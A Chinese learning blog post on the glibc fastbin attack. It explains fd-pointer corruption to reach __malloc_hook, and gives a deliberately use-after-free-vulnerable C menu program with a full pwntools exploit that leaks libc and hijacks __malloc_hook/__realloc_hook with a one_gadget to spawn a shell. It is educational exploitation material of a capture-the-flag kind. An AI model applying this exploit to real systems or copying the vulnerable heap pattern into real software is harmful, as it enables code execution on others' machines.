【我的 PWN 学习手札】Fastbin Attack

news2024/11/18 19:53:49

关于fastbin,有很多攻击利用手法,本篇只是讲述了修改fd指针,分配到fake_chunk,更多利用手法拆分到后面的博客中

目录

前言

一、Fastbin保护检查机制

二、利用手法

(1)分配到任意地址(__malloc_hook周边)

(2)one_gadget失效时,__realloc_hook调整栈帧 

(3)通过malloc报错调用malloc调整栈布局

三、调试过程、代码及模板 


前言

Fastbin Attack主要是利用了Fastbin单链表管理,如果能够利用UAF等漏洞,将Fastbin链表上的free chunk的fd写数据,即可实现任意地址分配,进而实现任意地址读写 


一、Fastbin保护检查机制

本篇涉及到的保护机制只有一个:取出的fastbin chunk,size应该在对应取出的fastbin范围内 

#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
    idx = fastbin_index(nb);
    ...
/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
    if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
        errstr = "malloc(): memory corruption (fast)";
        errout:
        malloc_printerr(check_action, errstr, chunk2mem(victim), av);
        return NULL;
    }

二、利用手法

(1)分配到任意地址(__malloc_hook周边)

通过修改free chunk的fd指针造成分配到任意地址, 需要满足size条件。

通过任意地址写来利用getshell,劫持hook是常用的手法。然而需要满足size这一条件,考虑到__free_hook周围满足条件的情况比较少,而libc或栈多数以0x7f开头,所以__malloc_hook周围实际上有合适的size——我们可以通过字节错位,来满足size=0x000000000000007f,落在size=0x70的fastbin中——实际上,一个合适的错位chunk位置在&__malloc_hook-0x23的位置

如果有分配到其他位置的情况,我们依旧可以用pwndbg的find_fake_fast来帮我们快速找到适合的fake_chunk位置

正常情况下:

通过uaf或其他漏洞修改fd后:

这时候(上述图例中)第三次malloc 0x70大小的chunk,就会分配到fake_chunk 

(2)one_gadget失效时,__realloc_hook调整栈帧 

当one_gadget时效时,意味着栈布局不满足条件,为此我们可以利用&__malloc_hook-0x8的__realloc_hook来调整栈帧:

这里所说的realloc+偏移是指:每个函数都有保存调用现场的操作,称为函数序言,所做的就是将各寄存器压栈,如果我们跳过几个push语句,那么栈的布局就发生了改变。

(3)通过malloc报错调用malloc调整栈布局

只是了解到有这种方法,但是没有实际遇到过

三、调试过程、代码及模板 

释放一个0x70size的chunk

uaf将该chunk的fd修改为fake_chunk的地址

malloc两次得到将该fake_chunk那到,修改malloc_hook为one_gadget

再次malloc触发__malloc_hook

 

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

# leak libc
add(0,0x100)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
success(hex(libc_base))

# Fastbin Attack
target_addr=libc_base-0x7c1ab1200000+0x7c1ab159baed
add(0,0x68)
delete(0)
edit(0,0x8,p64(target_addr))
add(0,0x68)
add(0,0x68)

# one_gadget
'''
0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
constraints:
  address rsp+0x40 is writable
  rax == NULL || {rax, "-c", rbx, NULL} is a valid argv

0x3f43a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xd5c07 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''

# edit(0,0x13+0x8,b'a'*0x13+p64(libc_base+0xd5c07))   #正常__malloc_hook
edit(0,0x13+0x8,b'a'*(0x13-0x8)+p64(libc_base+0x3f43a)+p64(libc_base+libc.sym['realloc']+9)) #用_realloc_hook调整栈帧
add(0,0x10)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2132935.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VScode相关问题与解决

1.写c文件时找不到头文件stdio.h 在linux下我们gcc命令来编译c文件时&#xff0c;会遇到找不到头文件的问题 解决方法&#xff1a;我们每写完一个文件记得保存一下文件即可&#xff0c;这样就解决了找不到头文件的问题&#xff01; 参考链接&#xff1a; /usr/bin/ld: /us…

Java实现生成验证码实战

文章目录 需求描述思想思路实现代码实现效果 在实际项目中&#xff0c;管理端的登录&#xff0c;会涉及验证码的校验&#xff0c;简单的数字与字母组合形式&#xff0c;在Java中要如何生成与实现&#xff0c;记录下来&#xff0c;方便备查。 需求描述 生成8位的由数字、大写字…

总结拓展九:SAP数据迁移(2)

第三节 数据迁移工具LTMC实操 1、供应商&#xff08;BP&#xff09;主数据导入 1.1 首先在SAP S 4系统&#xff0c;通过事务代码“LTMC”跳转进入数据迁移控制台&#xff08;网页版&#xff09;&#xff1b; 1.2 点击“创建”按钮&#xff0c;创建迁移项目“NJDHMM-01”; 传…

AI问答-Vue实例属性/实例方法:$refs、$emit、$attrs、$props、$data...

一、本文简介 在Vue.js中&#xff0c;$ 符号通常用于表示Vue实例或组件上的内置属性和方法&#xff0c;这些被称为“实例属性”或“实例方法”。以下是一些常见的以$开头的Vue实例属性和方法 1.1、实例属性 序号实例属性解释1$dataVue实例的数据对象&#xff0c;用于存储组件…

Java铸基之路:运算符的深入学习!(上)

&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d;&#x1f51d; &#x1f947;博主昵称&#xff1a;小菜元 &#x1f35f;博客主页…

【HarmonyOS NEXT开发】如何设置水平/垂直方向的左/居中/右对齐——RelativeContainer的AlignRules设置

文章目录 【HarmonyOS NEXT开发】如何设置水平/垂直方向的左/居中/右对齐——RelativeContainer的AlignRules设置RelativeContainer 和 AlignRules 的关系AlignRules 语法详解 【HarmonyOS NEXT开发】如何设置水平/垂直方向的左/居中/右对齐——RelativeContainer的AlignRules设…

RK3588九鼎创展方案在Arm集群服务器的项目中的应用分析​​

RK3588九鼎创展核心板&#xff0c;搭载8核瑞芯微3588芯片&#xff0c;具备高性能、低功耗以及强大的多媒体和AI处理能力。在Arm集群服务器项目中&#xff0c;RK3588系列芯片用有明显的性能优势。本文将结合RK3588芯片的性能特征以及九鼎创展的项目经验来分析RK3588在集群服务器…

编写XBOX控制器实现鼠标键盘输入

1.核心部分, XINPUT输入封装 XInput封装https://mp.csdn.net/mp_blog/creation/editor/1420701282.对话框窗口编写 Win32 对话框封装-CSDN博客https://blog.csdn.net/Flame_Cyclone/article/details/142110008?spm1001.2014.3001.5501 3.使用到的其他封装 字符串编码转换与…

惊人转变!从信息奴隶到思考大师,你只需掌握这几点专注力提升法!

引言 信息超载时代的今天&#xff0c;人们的主要问题不再是获取信息的资源渠道不足&#xff0c;任何一个信息&#xff0c;都可以通过一篇文章&#xff0c;一个视频来找到对应的相关信息&#xff0c;无极生太极、太极生两仪、两仪生四象。任何一个信息源中&#xff0c;都包含着…

设计模式-行为型模式-备忘录模式

1.备忘录模式定义 在不破坏封装的前提下&#xff0c;捕获一个对象的内部状态&#xff0c;并在该对象之外保存这个状态&#xff0c;这样可以在以后将对象恢复到原先保存的状态&#xff1b; 1.1 备忘录模式的优缺点 优点 提供了一种状态恢复的实现机制&#xff0c;使得用户可以…

社区营销:如何通过聚集人群提升品牌

“没有人是孤岛”&#xff0c;约翰多恩这样写道。如果可以&#xff0c;请忽略他的性别偏见。他写这句话是在1624年&#xff08;那时候真的不一样&#xff09;。尽管如此&#xff0c;几个世纪后&#xff0c;他的话依然铿锵有力&#xff1a;很少有人能够在孤独中茁壮成长。我们是…

Maven从入门到精通(二)

一、什么是pom.xml pom.xml是Maven项目的核心配置文件&#xff0c;它是 项目对象模型 - Project Object Model&#xff08;POM&#xff09;的缩写。POM定义了项目的所有属性&#xff0c;包括项目的名称、版本、依赖关系、构建配置等。使用pom.xml&#xff0c;我们可以轻松地管…

栈实现基本计算器

leetcode题目链接 这题其实和逆波兰表达式很像&#xff0c;无非多了个&#xff08;和&#xff09; 我们可以定义三个变量。 result表示当前计算结果 sign表示是还是- number表示当前数字 遍历字符串 利用isDigit 方法 提出数字 如果遇到加号resultsign*number 减号则将…

codeup:将已有文件夹推送到已有仓库

codeup&#xff1a;将已有文件夹推送到已有仓库 总流程git initgit remote add origin https://codeup.aliyun.com/xxx/xxx.gitgit add .git commit &#xff08;会遇到很多问题&#xff09;git push -u origin master &#xff08;会遇到很多问题&#xff09;成功在仓库中添加…

Unity 摄像机(Camera)详解

文章目录 0.前言1.相机属性介绍2.Unity 中多个相机画面堆叠显示2.1 3D 摄像机2.2 UI 摄像机2.3 摄像机的Culling Mask设置 0.前言 本文介绍的是使用Unity默认的内置渲染管线下的Camera组件&#xff0c;使用URP或HDRP则不同。 1.相机属性介绍 Clear Flags&#xff1a; 清除标记…

Java 创建对象内存分析

通过创建一个Pet类&#xff0c;以及new了两个Pet类的对象dog和cat来说明&#xff1a; 内存概念图&#xff1a;

揭秘!洞察用户心声的神秘策略,如何悄然引领业务爆炸式增长!

引言 在互联网和数字化技术的推动下&#xff0c;用户行为和消费模式发生了深刻变化。用户不再仅仅满足于产品的基本功能&#xff0c;而是更加关注个性化体验、情感连接和价值认同。因此&#xff0c;企业要想在激烈的市场竞争中脱颖而出&#xff0c;必须深入理解用户需求&#…

【解决方案】双系统中修复ubuntu引导

双系统中修复ubuntu引导 一、grub命令行进入ubuntu二、grub命令行进入windows三、可以进入windows的情况四、可以进入ubuntu的情况五、使用EasyUEFI软件编辑引导 windows安装ubuntu系统之后&#xff0c;无法进入系统选择界面&#xff0c;会出现以下几种情况。 一、grub命令行进…

【重学 MySQL】二十八、SQL99语法新特性之自然连接和 using 连接

【重学 MySQL】二十八、SQL99语法新特性之自然连接和 using 连接 自然连接&#xff08;NATURAL JOIN&#xff09;USING连接总结 SQL99语法在SQL92的基础上引入了一些新特性&#xff0c;其中自然连接&#xff08;NATURAL JOIN&#xff09;和USING连接是较为显著的两个特性。 自…